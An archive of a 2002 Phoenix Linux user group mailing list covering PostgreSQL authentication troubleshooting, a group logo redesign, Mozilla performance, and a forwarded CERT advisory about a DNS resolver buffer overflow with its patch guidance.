/usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:35:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:35:59 -0700 Subject: PLUG Logo Update! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> Message-ID: <200206281435.59188.zen2now@qwest.net> Austin loves you! slr On Friday 28 June 2002 02:17 pm, Tom Achtenberg wrote: > I like this one just the way it is. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:48:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:48:27 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206281448.27786.zen2now@qwest.net> ok, seeing that it is kind of a split. some like the prickly pears and some like saguaros. how about we have 2, one with prickly's and one with saguaros. those who like prickly's will be happy, and those who want saguaro's will be happy as well. as for the White Outline on Tux's arms, is it really that distracting from the overall image? as for the Italic Fonts, is this an overall deciding factor for the group? slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:56:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:56:00 -0700 Subject: PLUG Logo Update! In-Reply-To: <20020628210048.GG8953@ecloud.org> References: <20020628210048.GG8953@ecloud.org> Message-ID: <200206281456.00084.zen2now@qwest.net> > It looks like you did this as a scalable vector graphic of some kind, > which is great for blowing up to make bigger stuff like banners or > T-shirts. yes it is. slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 22:29:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Fri, 28 Jun 2002 15:29:14 -0700 Subject: PLUG Logo Update! References: <200206281448.27786.zen2now@qwest.net> Message-ID: <007001c21ef3$3bf344c0$0601010a@tickticker.com> I hate to point this out, but the saguaro is very clean shaven, heck,i've never been able to shave that close. anthony ----- Original Message ----- From: "slr" To: ; Sent: Friday, June 28, 2002 2:48 PM Subject: Re: PLUG Logo Update! > ok, seeing that it is kind of a split. some like the prickly pears and some > like saguaros. how about we have 2, one with prickly's and one with saguaros. > those who like prickly's will be happy, and those who want saguaro's will be > happy as well. > > as for the White Outline on Tux's arms, is it really that distracting from the > overall image? > > as for the Italic Fonts, is this an overall deciding factor for the group? > > slr > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > My $0.02. > > > > It is lopsided with the BIG saguaro on the right and the little cactus on > > the left. I like the balance of the original logo, with saguaros not too > > big and on both sides. It would match the banner we already have. > > > > Other than that, way cool work! Thanks for doing it! > > > > Alan > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > this is the newest version, also the master will be posted soon. what do > > you guys think about Tux in a Spawn Costume? > > > > http://www.zen2now.com/tux/tux1.jpg > > > > need some good feed back, as i want to get going with the screen printing > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 22:47:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 15:47:03 -0700 Subject: PLUG Logo Update! In-Reply-To: <007001c21ef3$3bf344c0$0601010a@tickticker.com> References: <200206281448.27786.zen2now@qwest.net> <007001c21ef3$3bf344c0$0601010a@tickticker.com> Message-ID: <200206281547.03743.zen2now@qwest.net> hehe, its a Native American Saguaro. :~D slr On Friday 28 June 2002 03:29 pm, tickticker wrote: > I hate to point this out, but the saguaro is very clean shaven, heck,i've > never been able to shave that close. > > anthony > ----- Original Message ----- > From: "slr" > To: ; > Sent: Friday, June 28, 2002 2:48 PM > Subject: Re: PLUG Logo Update! > > > ok, seeing that it is kind of a split. some like the prickly pears and > > some > > > like saguaros. how about we have 2, one with prickly's and one with > > saguaros. > > > those who like prickly's will be happy, and those who want saguaro's will > > be > > > happy as well. > > > > as for the White Outline on Tux's arms, is it really that distracting > > from > > the > > > overall image? > > > > as for the Italic Fonts, is this an overall deciding factor for the > > group? > > > > slr > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > My $0.02. > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > on > > > > the left. I like the balance of the original logo, with saguaros not > > too > > > > big and on both sides. It would match the banner we already have. > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > Alan > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > this is the newest version, also the master will be posted soon. what > > > do you guys think about Tux in a Spawn Costume? > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > need some good feed back, as i want to get going with the screen > > printing > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:06:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 28 Jun 2002 16:06:54 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281448.27786.zen2now@qwest.net> References: <200206281448.27786.zen2now@qwest.net> Message-ID: <0206281606541A.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Wow! Choice! Whutta concept! Next thing you will tell us is that this is freely available and we can download the source for it! I like the idea of two of them. I see Tux's left flipper as deformed tho - it could/should be hidden behind his left foot. On Friday 28 June 2002 14:48, you wrote: > ok, seeing that it is kind of a split. some like the prickly pears and some > like saguaros. how about we have 2, one with prickly's and one with > saguaros. those who like prickly's will be happy, and those who want > saguaro's will be happy as well. > > as for the White Outline on Tux's arms, is it really that distracting from > the overall image? > > as for the Italic Fonts, is this an overall deciding factor for the group? > > slr > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > My $0.02. > > > > It is lopsided with the BIG saguaro on the right and the little cactus on > > the left. I like the balance of the original logo, with saguaros not too > > big and on both sides. It would match the banner we already have. > > > > Other than that, way cool work! Thanks for doing it! > > > > Alan > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > this is the newest version, also the master will be posted soon. what do > > you guys think about Tux in a Spawn Costume? > > > > http://www.zen2now.com/tux/tux1.jpg > > > > need some good feed back, as i want to get going with the screen printing > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRzsDisk3ywszI1FEQLcigCeKuB/hd/HCwiY498my7umdPD+gzoAn1Ac 8xPJbMh5Xk5qhbfX13mjzIl3 =i7zK -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:28:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 16:28:05 -0700 Subject: PLUG Logo Update! In-Reply-To: <0206281606541A.07972@nova.wedge.org> References: <200206281448.27786.zen2now@qwest.net> <0206281606541A.07972@nova.wedge.org> Message-ID: <200206281628.05025.zen2now@qwest.net> hehe, you will be able to! as for Tux's left flipper, it is like that on Larry's site. http://www.isc.tamu.edu/~lewing/linux/ slr On Friday 28 June 2002 04:06 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Wow! Choice! Whutta concept! Next thing you will tell us is that this is > freely available and we can download the source for it! > > I like the idea of two of them. I see Tux's left flipper as deformed tho - > it could/should be hidden behind his left foot. > > On Friday 28 June 2002 14:48, you wrote: > > ok, seeing that it is kind of a split. some like the prickly pears and > > some like saguaros. how about we have 2, one with prickly's and one with > > saguaros. those who like prickly's will be happy, and those who want > > saguaro's will be happy as well. > > > > as for the White Outline on Tux's arms, is it really that distracting > > from the overall image? > > > > as for the Italic Fonts, is this an overall deciding factor for the > > group? > > > > slr > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > My $0.02. > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > > on the left. I like the balance of the original logo, with saguaros > > > not too big and on both sides. It would match the banner we already > > > have. > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > Alan > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > this is the newest version, also the master will be posted soon. what > > > do you guys think about Tux in a Spawn Costume? > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > need some good feed back, as i want to get going with the screen > > > printing > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRzsDisk3ywszI1FEQLcigCeKuB/hd/HCwiY498my7umdPD+gzoAn1Ac > 8xPJbMh5Xk5qhbfX13mjzIl3 > =i7zK > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:35:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Fri, 28 Jun 2002 16:35:42 -0700 Subject: Accounting Packages References: Message-ID: <3D1CF2CE.A981904A@cox.net> What about Moneydance? I use it, and I like it. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:37:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Fri, 28 Jun 2002 16:37:18 -0700 (MST) Subject: Security Exploit in DNS Servers (fwd) Message-ID: FYI - Another security notice that I just sent to AZIPA. This one is about DNS resolver libraries (possible remote exploit) - thus, it seemed appropriate for PLUG too. :) -- ~Jay ---------- Forwarded message ---------- Date: Fri, 28 Jun 2002 16:36:07 -0700 (MST) From: Jay To: AZIPA Subject: Security Exploit in DNS Servers Here's another network security threat to finish everyone's week with. :) This one is a possible remote vulnerability in some of the libraries associated with many DNS servers (including the most popular one, BIND). As usual, you may be vulnerable to this exploit and not even know it - contact your vendor for a patch. The official CERT advisory is below: ~Jay -- == Jay Jacobson == Edgeos, Inc. - Security is Critical - http://www.edgeos.com == We help you to easily get control of your network's security. == ...or some hacker can just take control instead. You decide. ---------- Forwarded message ---------- Date: Fri, 28 Jun 2002 17:17:10 -0400 (EDT) From: CERT Advisory To: cert-advisory@cert.org Subject: CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries -----pgpenvelope processed message CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries Original release date: June 28, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Applications using vulnerable implementations of the Domain Name System (DNS) resolver libraries, which include, but are not limited to: * Internet Software Consortium (ISC) Berkeley Internet Name Domain (BIND) DNS resolver library (libbind) * Berkeley Software Distribution (BSD) DNS resolver library (libc) Overview A buffer overflow vulnerability exists in multiple implementations of DNS resolver libraries. Operating systems and applications that utilize vulnerable DNS resolver libraries may be affected. A remote attacker who is able to send malicious DNS responses could potentially exploit this vulnerability to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description The DNS protocol provides name, address, and other information about Internet Protocol (IP) networks and devices. To access DNS information, a network application uses the resolver to perform DNS queries on its behalf. Resolver functionality is commonly implemented in libraries that are included with operating systems. Multiple implementations of DNS resolver libraries contain a remotely exploitable buffer overflow vulnerability in the way the resolver handles DNS responses. Both BSD (libc) and ISC (libbind) resolver libraries share a common code base and are vulnerable to this problem; any DNS resolver implementation that derives code from either of these libraries may also be vulnerable. Network applications that makes use of vulnerable resolver libraries are likely to be affected, therefore this problem is not limited to DNS or BIND servers. Vulnerability Note VU#803539 lists the vendors that have been contacted about this vulnerability: http://www.kb.cert.org/vuls/id/803539 This vulnerability is not the same as the Sendmail issue discussed in Vulnerability Note VU#814627: http://www.kb.cert.org/vuls/id/814627 II. Impact An attacker who is able to send malicious DNS responses could remotely exploit this vulnerability to execute arbitrary code or cause a denial of service on vulnerable systems. Any code executed by the attacker would run with the privileges of the process that calls the vulnerable resolver function. Note that an attacker could cause one of the victim's network services to make a DNS request to a DNS server under the attacker's control. This would permit the attacker to remotely exploit this vulnerability. III. Solution Upgrade to a corrected version of the DNS resolver libraries Note that DNS resolver libraries can be used by multiple applications on most systems. It may be necessary to upgrade or apply multiple patches and then recompile statically linked applications. Applications that are statically linked must be recompiled using patched resolver libraries. Applications that are dynamically linked do not need to be recompiled; however, running services need to be restarted in order to use the patched resolver libraries. System administrators should consider the following process when addressing this issue: 1. Patch or obtain updated resolver libraries. 2. Restart any dynamically linked services that make use of the resolver libraries. 3. Recompile any statically linked applications using the patched or updated resolver libraries. Use a local caching DNS server Using a local caching DNS server that reconstructs DNS responses will prevent malicious responses from reaching systems using vulnerable DNS resolver libraries. For example, BIND 9 reconstructs responses in this way, with the exception of forwarded dynamic DNS update messages. Note that BIND 8 does not reconstruct all responses; therefore this workaround may not be effective when using BIND 8 as a caching DNS server. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Compaq SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team x-ref:SSRT2270 At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's released Operating System software products. As further information becomes available Compaq will provide notice of the completion/availibility of any necessary patches through standard product and security bulletin announcements and be available from your normal HP Services support channel. Cray, Inc. The DNS resolver code supplied by Cray, Inc. in Unicos and Unicos/mk is vulnerable. SPR 722619 has been opened to track this problem. FreeBSD See ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. resolv.asc GNU adns adns is not derived from BIND libresolv. Furthermore, it does not support a gethostbyname-like interface (which is where the bug in BIND libresolv is). Therefore, it is not vulnerable. For more information on GNU adns, see: http://www.gnu.org/software/adns/ http://www.chiark.greenend.org.uk/~ian/adns/ Internet Software Consortium All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are vulnerable. All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. BIND version 4.8 does not appear to be vulnerable. BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. 'named' itself is not vulnerable. Updated releases can be found at: ftp://ftp.isc.org/isc/bind/src/4.9.9/ ftp://ftp.isc.org/isc/bind/src/8.2.6/ ftp://ftp.isc.org/isc/bind/src/8.3.3/ ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ BIND 9 contains a copy of the BIND 8.3.x resolver library (lib/bind). This will be updated with the next BIND 9 releases (9.2.2/9.3.0) in the meantime please use the original in BIND 8.3.3. In addition the BIND 9 'named' can be used to prevent malformed answers reaching vulnerable clients. Vendors wishing additional patches should contact bind-bugs@isc.org. Query about BIND 4 and BIND 8 should be addressed to bind-bugs@isc.org. Query about BIND 9 should be addressed to bind9-bugs@isc.org. Microsoft Microsoft products do not use the libraries in question. Microsoft products are not affected by this issue. OpenBSD [T]he resolver libraries in question got copied far and wide. They used to have a hell of a lot of bugs in them. Now might be a good time for people to compare each others' libraries to each other. I would urge them to compare against the OpenBSD ones, where we've spent a lot of time on, but of course we still missed this. But perhaps people can then share some around. Not everyone is going to move to the bind9 stuff, since it is very different. NetBSD See ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 06.txt.asc Network Appliance Some NetApp systems are vulnerable to this problem. Check NOW (http://now.netapp.com) for information on whether your system is vulnerable and the appropriate patch release that you should install. SGI SGI is looking into the matter. _________________________________________________________________ The CERT Coordination Center thanks Joost Pol of PINE-CERT and the FreeBSD Project for their analysis of these vulnerabilities. _________________________________________________________________ Feedback can be directed to the authors: Art Manion and Jason A. Rafail _________________________________________________________________ Appendix B. - References 1. http://www.pine.nl/advisories/pine-cert-20020601.asc ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-19.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History June 28, 2002: Initial release -----pgpenvelope information Version: PGP 6.5.8 gpg: Signature made Fri Jun 28 14:12:00 2002 MST using RSA key ID D02361C9 gpg: Can't check signature: public key not found pgpenvelope_decrypt: message processed at Fri Jun 28 16:27:54 2002 -----end pgpenvelope information From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:58:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 16:58:06 -0700 Subject: New Version of PLUG Logo Message-ID: <200206281658.06007.zen2now@qwest.net> check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:04:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:04:09 -0700 (PDT) Subject: Mozilla troubles Message-ID: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Hey all, I think this was mentioned before but I could not find it searching through the archives. I was just curious how Mozilla is working out for you all? When I was using Gnome 1.4 with Mozilla it was really speedy and I had no problems. Lately I just tried using Mozilla with window maker and it is pretty slow. It takes awhile to open new windows and such. Anyone experiencing similar problems? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:05:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:05:10 -0700 (PDT) Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <20020629000510.44073.qmail@web13402.mail.yahoo.com> --- slr wrote: > check it out. dual saguaro's and non-italic fonts > http://www.zen2now.com/tux/double_g.jpg > > slr Kick arse :). __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:56:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 28 Jun 2002 17:56:53 -0600 Subject: Security Exploit in DNS Servers (fwd) In-Reply-To: References: Message-ID: <1025308614.31040.9.camel@dhcp159.area31.viawest.net> Not really an exploit against DNS _servers_, just against clients that use the vulnerable resolver libraries. Seems you would have to query malicious server for anything bad to happen. -dallas On Fri, 2002-06-28 at 17:37, Jay wrote: > > FYI - Another security notice that I just sent to AZIPA. This one is about > DNS resolver libraries (possible remote exploit) - thus, it seemed > appropriate for PLUG too. :) > > -- > ~Jay > > > > ---------- Forwarded message ---------- > Date: Fri, 28 Jun 2002 16:36:07 -0700 (MST) > From: Jay > To: AZIPA > Subject: Security Exploit in DNS Servers > > > Here's another network security threat to finish everyone's week with. :) > This one is a possible remote vulnerability in some of the libraries > associated with many DNS servers (including the most popular one, BIND). > As usual, you may be vulnerable to this exploit and not even know it - > contact your vendor for a patch. The official CERT advisory is below: > > ~Jay > -- > > == Jay Jacobson > == Edgeos, Inc. - Security is Critical - http://www.edgeos.com > == We help you to easily get control of your network's security. > == ...or some hacker can just take control instead. You decide. > > > ---------- Forwarded message ---------- > Date: Fri, 28 Jun 2002 17:17:10 -0400 (EDT) > From: CERT Advisory > To: cert-advisory@cert.org > Subject: CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver > Libraries > > > > -----pgpenvelope processed message > > CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries > > Original release date: June 28, 2002 > Last revised: -- > Source: CERT/CC > > A complete revision history can be found at the end of this file. > > Systems Affected > > Applications using vulnerable implementations of the Domain Name > System (DNS) resolver libraries, which include, but are not limited > to: > > * Internet Software Consortium (ISC) Berkeley Internet Name Domain > (BIND) DNS resolver library (libbind) > > * Berkeley Software Distribution (BSD) DNS resolver library (libc) > > > Overview > > A buffer overflow vulnerability exists in multiple implementations of > DNS resolver libraries. Operating systems and applications that > utilize vulnerable DNS resolver libraries may be affected. A remote > attacker who is able to send malicious DNS responses could potentially > exploit this vulnerability to execute arbitrary code or cause a denial > of service on a vulnerable system. > > > I. Description > > The DNS protocol provides name, address, and other information about > Internet Protocol (IP) networks and devices. To access DNS > information, a network application uses the resolver to perform DNS > queries on its behalf. Resolver functionality is commonly implemented > in libraries that are included with operating systems. > > Multiple implementations of DNS resolver libraries contain a remotely > exploitable buffer overflow vulnerability in the way the resolver > handles DNS responses. Both BSD (libc) and ISC (libbind) resolver > libraries share a common code base and are vulnerable to this problem; > any DNS resolver implementation that derives code from either of these > libraries may also be vulnerable. Network applications that makes use > of vulnerable resolver libraries are likely to be affected, therefore > this problem is not limited to DNS or BIND servers. > > Vulnerability Note VU#803539 lists the vendors that have been > contacted about this vulnerability: > > http://www.kb.cert.org/vuls/id/803539 > > This vulnerability is not the same as the Sendmail issue discussed in > Vulnerability Note VU#814627: > > http://www.kb.cert.org/vuls/id/814627 > > > II. Impact > > An attacker who is able to send malicious DNS responses could remotely > exploit this vulnerability to execute arbitrary code or cause a denial > of service on vulnerable systems. Any code executed by the attacker > would run with the privileges of the process that calls the vulnerable > resolver function. > > Note that an attacker could cause one of the victim's network services > to make a DNS request to a DNS server under the attacker's control. > This would permit the attacker to remotely exploit this vulnerability. > > > III. Solution > > Upgrade to a corrected version of the DNS resolver libraries > > Note that DNS resolver libraries can be used by multiple > applications on most systems. It may be necessary to upgrade or > apply multiple patches and then recompile statically linked > applications. > > Applications that are statically linked must be recompiled using > patched resolver libraries. Applications that are dynamically > linked do not need to be recompiled; however, running services need > to be restarted in order to use the patched resolver libraries. > > System administrators should consider the following process when > addressing this issue: > > 1. Patch or obtain updated resolver libraries. > > 2. Restart any dynamically linked services that make use of the > resolver libraries. > > 3. Recompile any statically linked applications using the patched or > updated resolver libraries. > > Use a local caching DNS server > > Using a local caching DNS server that reconstructs DNS responses > will prevent malicious responses from reaching systems using > vulnerable DNS resolver libraries. For example, BIND 9 reconstructs > responses in this way, with the exception of forwarded dynamic DNS > update messages. Note that BIND 8 does not reconstruct all > responses; therefore this workaround may not be effective when > using BIND 8 as a caching DNS server. > > > Appendix A. - Vendor Information > > This appendix contains information provided by vendors for this > advisory. When vendors report new 